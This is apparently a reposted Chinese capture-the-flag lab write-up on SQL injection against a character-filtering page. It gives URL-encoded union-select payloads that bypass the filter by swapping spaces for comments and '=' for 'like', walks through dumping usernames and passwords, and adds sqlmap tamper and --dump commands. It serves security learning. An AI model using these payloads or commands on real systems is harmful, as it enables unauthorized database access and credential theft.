1. 墨者学院:SQL过滤字符后手工注入漏洞测试(第1题)🚀

2. 漏洞背景与测试思路🔍

在Web安全测试中,当遇到对输入字符有过滤的SQL注入漏洞时,我们需要使用特殊技巧绕过过滤机制。本次测试的目标URL存在字符过滤,需要注意:

  • 空格被过滤 → 使用/**/代替
  • 等号(=)被过滤 → 使用like代替

URL编码过程 :将需要编码的字符转换为ASCII码值→将ASCII码值转换为两位十六进制数→在十六进制数前加上百分号(%)

编码工具建议使用Burpsuite自带的Decoder,网上的很多在线工具多数都不能一次性加密为URL样式,待我找找看:

在这里插入图片描述

3. 手工注入测试过程🎯

测试环境⚡

我的起始URL:http://124.70.71.251:42546/new_list.php?id=,以自己的靶场地址为准。

3.1 判断字段数⚡

原始语句:1 order by 5
绕过过滤:1/**/order/**/by/**/5
URL编码:%31%2f%2a%2a%2f%6f%72%64%65%72%2f%2a%2a%2f%62%79%2f%2a%2a%2f%35

!https://via.placeholder.com/600x400?text=order-by测试结果

3.2 确定显示位置⚡

原始语句:-1 union select 1,2,3,4
绕过过滤:-1/**/union/**/select/**/1,2,3,4
URL编码:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%32%2c%33%2c%34

!https://via.placeholder.com/600x400?text=union-select测试结果

3.3 获取数据库信息⚡

原始语句:-1 union select 1,database(),version(),4
绕过过滤:-1/**/union/**/select/**/1,database(),version(),4
URL编码:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%64%61%74%61%62%61%73%65%28%29%2c%76%65%72%73%69%6f%6e%28%29%2c%34

!https://via.placeholder.com/600x400?text=数据库信息

3.4 获取系统信息⚡

原始语句:-1 union select 1,@@version_compile_os,user(),4
绕过过滤:-1/**/union/**/select/**/1,@@version_compile_os,user(),4
URL编码:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%70%69%6c%65%5f%6f%73%2c%75%73%65%72%28%29%2c%34

!https://via.placeholder.com/600x400?text=系统信息

3.5 获取数据表⚡

原始语句:-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_discuz_stormgroup'
绕过过滤:-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'mozhe_discuz_stormgroup'
URL编码:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%2c%33%2c%34%2f%2a%2a%2f%66%72%6f%6d%2f%2a%2a%2f%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%2f%2a%2a%2f%77%68%65%72%65%2f%2a%2a%2f%74%61%62%6c%65%5f%73%63%68%65%6d%61%2f%2a%2a%2f%6c%69%6b%65%2f%2a%2a%2f%27%6d%6f%7a%68%65%5f%64%69%73%63%75%7a%5f%73%74%6f%72%6d%67%72%6f%75%70%27

!https://via.placeholder.com/600x400?text=数据表信息

3.6 获取字段名⚡

原始语句:-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'stormgroup_member'
绕过过滤:-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'
URL编码:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%2c%33%2c%34%2f%2a%2a%2f%66%72%6f%6d%2f%2a%2a%2f%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%2f%2a%2a%2f%77%68%65%72%65%2f%2a%2a%2f%74%61%62%6c%65%5f%6e%61%6d%65%2f%2a%2a%2f%6c%69%6b%65%2f%2a%2a%2f%27%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72%27

!https://via.placeholder.com/600x400?text=字段信息

3.7 获取数据内容⚡

原始语句:-1 union select 1,group_concat(name),group_concat(password),4 from stormgroup_member
绕过过滤:-1/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/stormgroup_member
URL编码:%2d%31%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%31%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%6e%61%6d%65%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%70%61%73%73%77%6f%72%64%29%2c%34%2f%2a%2a%2f%66%72%6f%6d%2f%2a%2a%2f%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72

!https://via.placeholder.com/600x400?text=数据内容

4. 使用sqlmap自动化测试🎯

4.1 基本数据库探测⚡

python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
--tamper space2comment,equaltolike,charencode \
--dbs --batch

tamper脚本说明:

脚本名称功能描述示例转换
space2comment将空格替换为/**/select 1select/**/1
equaltolike将=替换为likewhere id=1where id like 1
charencodeURL编码特殊字符select%73%65%6c%65%63%74

!https://via.placeholder.com/600x400?text=sqlmap数据库探测

4.2 获取指定数据表⚡

python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
-D mozhe_discuz_stormgroup --tables \
--tamper space2comment,equaltolike,charencode --batch

!https://via.placeholder.com/600x400?text=sqlmap表探测

4.3 获取表字段⚡

python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
-D mozhe_discuz_stormgroup -T stormgroup_member --columns \
--tamper space2comment,equaltolike,charencode --batch

!https://via.placeholder.com/600x400?text=sqlmap字段探测

4.4 导出数据⚡

python sqlmap.py -u "http://124.70.71.251:42546/new_list.php?id=1" \
-D mozhe_discuz_stormgroup -T stormgroup_member \
-C id,name,password,status --dump \
--tamper space2comment,equaltolike,charencode --batch

!https://via.placeholder.com/600x400?text=sqlmap数据导出

4.5 清除缓存⚡

python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

4.6 关键参数说明⭐

参数说明示例
-u目标URL-u “http://example.com?id=1”
--tamper使用tamper脚本绕过过滤–tamper space2comment
--dbs枚举数据库–dbs
-D指定数据库-D database_name
-T指定数据表-T table_name
-C指定字段-C column1,column2
--dump导出数据–dump
--batch自动选择默认选项–batch

5. 总结🏁

  1. 手工注入要点

    • 使用/**/替代空格绕过过滤
    • 使用like替代等号(=)
    • 关键字符进行URL编码
    • 通过information_schema获取数据库结构信息
  2. sqlmap自动化测试优势

    • 内置多种tamper脚本可组合使用
    • 自动识别注入类型和最佳注入方式
    • 支持数据导出和结果保存

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/91066.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/91066.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/91066.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析 Vue 3 中 v-model 与表单元素的绑定机制

v-model 是 Vue 中最强大的指令之一,它简化了表单数据双向绑定的实现。本文将系统梳理各种 HTML 表单元素与 v-model 的绑定关系,特别是那些容易引起困惑的类型。一、v-model 的本质v-model 是一个语法糖,它实际上是 :value 和 input 的组合&…

【赵渝强老师】MySQL中的数据库对象

MySQL数据库中包含各自数据库对象,常见的数据库对象有:表、索引、视图、事件、存储过程和存储函数等等。 视频讲解如下 【赵渝强老师】MySQL中的数据库对象一、 创建与管理表 表是一种非常重要的数据库对象,MySQL数据库的数据都是存储在表中…

Angular面试题目和答案大全

基础概念篇1. 什么是Angular?它与AngularJS有什么区别?答案: Angular是由Google开发的基于TypeScript的开源Web应用框架,用于构建单页应用程序(SPA)。Angular vs AngularJS对比:特性AngularJSAn…

CSS 语音参考

CSS 语音参考 概述 CSS(层叠样式表)是用于描述HTML或XML文档样式的样式表语言。它为网页元素提供了一种统一的方式来定义字体、颜色、布局和其他视觉属性。CSS语音参考旨在为开发者提供一个详尽的指南,以便他们能够更有效地使用CSS来增强网页…

C# WPF 实现读取文件夹中的PDF并显示其页数

文章目录技术选型第一步:创建项目并安装依赖库第二步:定义数据模型 (Model)第三步:创建视图模型 (ViewModel)第四步:设计用户界面 (View)总结与解释后记关于转换器的错误工作中需要整理一些PDF格式文件,程序员的存在就…

设计模式(五)创建型:原型模式详解

设计模式(五)创建型:原型模式详解原型模式(Prototype Pattern)是 GoF 23 种设计模式中的创建型模式之一,其核心价值在于通过复制现有对象来创建新对象,而不是通过 new 关键字调用构造函数。它特…

K8S 八 数据存储-高级存储PV PVC 生命周期;配置存储ConfigMap Secret

目录数据存储 Volume8.1 基本存储8.1.1 EmptyDir8.1.2 HostPath 挂载目录8.1.3 NFSnfs的服务8.2 高级存储8.2.1 PV和PVC8.2.2 PV 持久化卷申请8.2.3 PVC 资源申请PVC的配置参数8.2.4 生命周期配置存储8.3.1 ConfigMap8.3.2 Secret数据存储 Volume Kubernetes的Volume支持多种类…

Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现轮船检测识别(C#代码UI界面版)

Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现轮船检测识别(C#代码UI界面版)工业相机使用YoloV8模型实现轮船检测识别工业相机通过YoloV8模型实现轮船检测识别的技术背景在相机SDK中获取图像转换图像的代码分析工业相机图像转换Bitmap图像格…

自习室预约小程序的设计与实现

自习室预约小程序的设计与实现现代学习环境对高效、便捷的预约系统需求日益增长。自习室预约小程序结合前沿技术栈,提供流畅的用户体验和强大的后台管理功能,满足学生、职场人士等群体的自习需求。技术架构与核心功能Vue.js 构建动态前端界面 采用 Vue.j…

Docker 实战大纲

文章目录Docker 实战 – Mysql (敬请期待……)

从一个“诡异“的C++程序理解状态机、防抖与系统交互

引言 在编程世界中,有时一个看似简单的代码片段可能隐藏着令人惊讶的复杂性。本文将从一个"故意设计"的C程序出发,深入探讨其背后涉及的状态机模式、防抖机制以及操作系统与控制台的交互原理。通过这个案例,我们不仅能理解这些核心…

NAS-Bench-101: Towards Reproducible Neural Architecture Search

概述这篇题为"NAS-Bench-101: Towards Reproducible Neural Architecture Search"的论文由Chris Ying等人合作完成,旨在解决神经网络架构搜索(NAS)领域面临的重大挑战:计算资源需求高和实验难以复现的问题。论文提出了NAS-Bench-101&#xff0…

SpringBoot整合Fastexcel/EasyExcel导出Excel导出多个图片

整个工具的代码都在Gitee或者Github地址内 gitee:solomon-parent: 这个项目主要是总结了工作上遇到的问题以及学习一些框架用于整合例如:rabbitMq、reids、Mqtt、S3协议的文件服务器、mongodb、xxl-job、powerjob还有用Docker compose部署各类中间组件。如果大家有…

网络原理--HTTPHTTPS

目录 一、HTTP 1.1 HTTP是什么 1.2 HTTP协议的工作过程 1.3 HTTP协议格式 1.3.1 抓包工具的使用 1.3.2 抓包结果 1.4 HTTP请求 1.4.1 URL 1.4.2 认识“方法” (method) 1.4.3 认识请求“报头”(header) 1.4.4 认识请求“正文”(body) 1.5 HTTP 响应详解 1.5.1 HTTP…

『 C++ 入门到放弃 』- 哈希表

一、哈希的概念 哈希,也称「 散列 」是一种用来进行高效查找的数据结构,查找的时间复杂度平均为O(1),其本质就是依赖哈希函数这个算法来将 key 和该 key 存储位置建立一个映射关系。 而因为是有着映射关系,所以哈希的事件复杂度为…

零售收银系统开源代码全解析:连锁门店一体化解决方案(含POS+进销存+商城)

过去10年,收银系统技术经历了从单机版到云服务、从单纯结算到全渠道整合的快速演进。面对连锁多门店、AI称重、智能分账、跨店库存同步等新需求,很多企业的现有传统saas系统已显乏力。本文将梳理收银系统关键技术指标,助您在系统升级时做出明…

能源高效利用如何实现?楼宇自控系统智能化监管建筑设备

随着全球能源危机日益严峻和“双碳”目标的持续推进,建筑领域作为能耗大户(约占社会总能耗的40%),其节能潜力备受关注。楼宇自控系统(Building Automation System,简称BAS)作为建筑智能化的核心…

校园二手交易小程序的设计与实现

文章目录前言详细视频演示具体实现截图后端框架SpringBoot微信小程序持久层框架MyBaits成功系统案例:参考代码数据库源码获取前言 博主介绍:CSDN特邀作者、985高校计算机专业毕业、现任某互联网大厂高级全栈开发工程师、Gitee/掘金/华为云/阿里云/GitHub等平台持续…

Redis(二):Redis高级特性和应用(慢查询、Pipeline、事务)

Redis的慢查询 许多存储系统(例如 MySQL)提供慢查询日志帮助开发和运维人员定位系统存在的慢操作。所谓慢查询日志就是系统在命令执行前后计算每条命令的执行时间,当超过预设阀值,就将这条命令的相关信息(例如:发生时间,耗时&…

如何为你的WordPress网站选择合适的安全插件

在管理WordPress网站时,安全因素至关重要。由于WordPress的广泛使用,它也成为了黑客攻击的首要目标。为了避免潜在的安全风险,选择合适的安全插件至关重要。而Wordfence和iThemes,作为两款颇具人气的WordPress安全插件&#xff0c…